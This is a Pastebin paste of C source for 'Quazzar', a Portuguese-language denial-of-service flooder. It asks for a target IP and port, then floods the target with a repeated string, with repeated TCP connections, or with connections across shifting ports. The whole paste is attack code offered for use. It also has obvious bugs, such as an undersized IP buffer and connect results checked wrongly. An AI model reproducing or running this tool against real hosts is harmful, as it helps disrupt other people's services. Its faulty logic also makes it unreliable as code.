Guest User

Quazzar

a guest
Aug 4th, 2012
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.30 KB | None | 0 0
  1. #include <time.h>
  2. #include <math.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <malloc.h>
  6. #include <stdarg.h>
  7. #include <strings.h>
  8. #include <pthread.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <arpa/inet.h>
  12. #include <unistd.h>
  13.  
  14. #define PORTA porta
  15. #define IP ip
  16. #define VERSION "PRE-ALPHA"
  17.  
  18. char ip[13];
  19. unsigned short int porta;
  20.  
  21. int soquete,soquete2,soquete3;
  22. struct sockaddr_in alvo;
  23.  
  24. void criar_socket(int var);
  25.  
  26. void thread();
  27. void thread2();
  28. void thread3();
  29.  
  30. void main(void)
  31. {
  32.     float want;
  33.     pthread_t threads[2];
  34.     printf("Quazzar %s\n",VERSION);
  35.     printf("|Digite a porta|\n");
  36.     printf("Sua escolha:");
  37.     scanf("%hd",&porta);
  38.     if(porta > 65535 || porta <= 0)
  39.     {
  40.         system("clear");
  41.         printf("Porta errada...\n");
  42.         sleep(1);
  43.         exit(1);   
  44.     }
  45.     printf("|Digite o IP do alvo|\n");
  46.     printf("Sua escolha:");
  47.     scanf("%s",ip);
  48.     printf("|Digite o tipo de ataque:|\n");
  49.     printf("|1 = Volume de dados.|\n");
  50.     printf("|2 = Volume de conexoes.|\n");
  51.     printf("|2.5 = Volume de conexoes, portas diferentes.|\n");
  52.     scanf("%f",&want);
  53.     if(want != 1 && want != 2 && want != 2.5)
  54.     {
  55.         system("clear");
  56.         printf("Escolha uma das opcoes...\n");
  57.         sleep(1);
  58.         exit(1);
  59.    
  60.     }
  61.     criar_socket(1);
  62.     if(want == 1)
  63.     {
  64.         pthread_create(&(threads[1]), NULL, thread, NULL);
  65.     }
  66.     if(want == 2)
  67.     {
  68.         pthread_create(&(threads[1]), NULL, thread2, NULL);
  69.     }
  70.      if(want == 2.5)
  71.         pthread_create(&(threads[1]), NULL, thread3, NULL);
  72.      sleep(10);
  73.      close(soquete);
  74.      close(soquete2);
  75.      close(soquete3);
  76. }
  77.  
  78. void thread()
  79. {
  80.     connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
  81.     if(connect <= 0)
  82.     {
  83.         printf("Porta provavelmente fechada...\n");
  84.         exit(1);
  85.     }
  86.     printf("Flooding...\n");
  87.     while(1)
  88.     {
  89.         send(soquete,"LASERED",strlen("LASERED"),4);
  90.     }
  91. }
  92. void thread2()
  93. {
  94.     printf("Flooding...\n");
  95.     while(1)
  96.     {
  97.         criar_socket(2);
  98.         if(connect(soquete2,(struct sockaddr *)&alvo,sizeof alvo) <= 0)
  99.         {
  100.                 printf("Porta provavelmente fechada...\n");
  101.                 sleep(0);
  102.                 exit(1);
  103.         }
  104.        
  105.     }
  106. }
  107.  
  108. void thread3()
  109. {
  110.     printf("Flooding...\n");
  111.     while(1)
  112.     {
  113.         criar_socket(3);
  114.         printf("%d\n",porta);
  115.         if(connect(soquete3,(struct sockaddr *)&alvo,sizeof alvo) <= 0)
  116.         {
  117.             printf("Porta provavelmente fechada...\n");
  118.             sleep(0);
  119.         }
  120.        
  121.     }
  122. }
  123.  
  124. void criar_socket(int var)
  125. {
  126.     if(1)
  127.     {
  128.         soquete = socket(AF_INET,SOCK_STREAM,6);
  129.         alvo.sin_family = AF_INET;
  130.         alvo.sin_port = htons(PORTA);
  131.         alvo.sin_addr.s_addr = inet_addr(IP);
  132.         bzero(&(alvo.sin_zero),8);
  133.         if(soquete < 0)
  134.         {
  135.             printf("Erro na criacao do socket.\n");
  136.             exit(1);
  137.         }
  138.         soquete2 = socket(AF_INET,SOCK_STREAM,6);
  139.         if(soquete2 < 0)
  140.         {
  141.             printf("Erro na criacao do socket.\n");
  142.             exit(1);
  143.         }
  144.     }
  145.     if(var == 2)
  146.     {
  147.         close(soquete2);
  148.         soquete2 = socket(AF_INET,SOCK_STREAM,6);
  149.         if(soquete2 < 0)
  150.         {
  151.             printf("Erro na criacao do socket.\n");
  152.             exit(1);
  153.         }
  154.     }
  155.     if(var == 3)
  156.     {
  157.         close(soquete3);
  158.         soquete = socket(AF_INET,SOCK_STREAM,6);
  159.         alvo.sin_family = AF_INET;
  160.         if(porta < 65534)
  161.             porta++;
  162.         if(porta >= 65534)
  163.             porta--;
  164.         alvo.sin_port = htons(porta);
  165.         alvo.sin_addr.s_addr = inet_addr(IP);
  166.         bzero(&(alvo.sin_zero),8);
  167.         soquete3 = socket(AF_INET,SOCK_STREAM,6);
  168.         if(soquete3 < 0)
  169.         {
  170.             printf("Erro na criacao do socket.\n");
  171.             exit(1);
  172.         }
  173.     }
  174.        
  175. }
Advertisement
Add Comment
Please, Sign In to add comment